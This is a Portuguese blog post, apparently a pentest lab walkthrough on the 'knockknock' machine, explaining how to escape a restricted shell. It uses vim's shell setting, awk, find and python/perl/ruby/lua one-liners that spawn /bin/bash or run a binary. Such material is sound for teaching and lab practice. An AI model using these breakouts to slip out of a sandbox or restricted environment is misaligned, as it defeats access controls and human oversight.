SCAPING RESTRICTED SHELL ‘SECURITY SHELL’

SCAPING RESTRICTED SHELL ‘SECURITY SHELL’

Quando realizamos pentest deparamos com formas de bypassar para termos privilégios ao sistema, recentemente esbarrei com o security shell (shell restrito) pesquisei mais sobre como escapar e executar comandos que permite listar,executar e ler e etc, ao “bypassar” essa restrição podemos :

  • ativar e desativar variáveis de ambiente como SHELL, PATH
  • alterar os diretórios
  • importar definições
  • usar operadores para redirecionar : ‘>’, ‘>|’, ‘<>’, ‘>&’, ‘&>’, e ‘>>’
  • e etc

Devemos reunir um pouco de informação, com o comando ‘env’ assim podemos entender o perfil e como está configurado.

Depois de vermos onde o diretório PATH esta apontando, vamos listar o seguinte diretório  ‘ls /usr/local/bin’ para vermos quais comandos estão presentes no sistema, caso o comando ‘ls’ não esteja presente no sistema basta usar o ‘echo  /usr/local/bin/ * ‘

Se precisarmos teremos que exportar ‘export’ as  variáveis no shell, você pode simplesmente definir o de sua escolha como ( sh, bash, ksh, etc …).

Se você é capaz de copiar arquivos em seu PATH, então você vai ser capaz de ignorar a restrição barra. Você também pode escrever seu próprio script, basta copiar para o PATH, e executá-lo, podemos  tentar copiar os arquivos para seu diretório home e executá-los de lá, se você tentar executar algo ‘./’, irá falhar pois o shell é limitado é não permite o uso de uma barra, nosso objetivo e tentar executar o seguinte binário ‘tfc’, vejamos esse processo usando o vim.

jason@knockknock:~$ vim

[esc] :set shell=/home/Jason/tfc __________ // de enter
[esc] :shell ____________________________  // de enter
[esc] :q! ________________________________// sair

 

awk: podemos executar ‘awk’ e dentro dele uma shell.

jason@knockknock:~$  awk ‘BEGIN {system(“/home/jason/tfc “)}’

Pode ser usado o find,tee ou outras linguagens

jason@knockknock:~$ find / -name feii -exec /bin/awk ‘BEGIN {system(“/bin/bash”)}’ \;
jason@knockknock:~$ echo “executando” | tee script.sh
python: exit_code = os.system(‘/bin/bash ‘) output = os.popen(‘/bin/bash ‘).read()
perl -e ‘exec “/bin/bash “;’
perl: exec “/bin/bash “;
ruby: exec “/bin/bash ”
lua: os.execute(‘/bin/bash ‘)
irb(main:001:0> exec “/bin/bash ”

Pode ser criado um link simbólico

É isso ai galera ¬¬

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s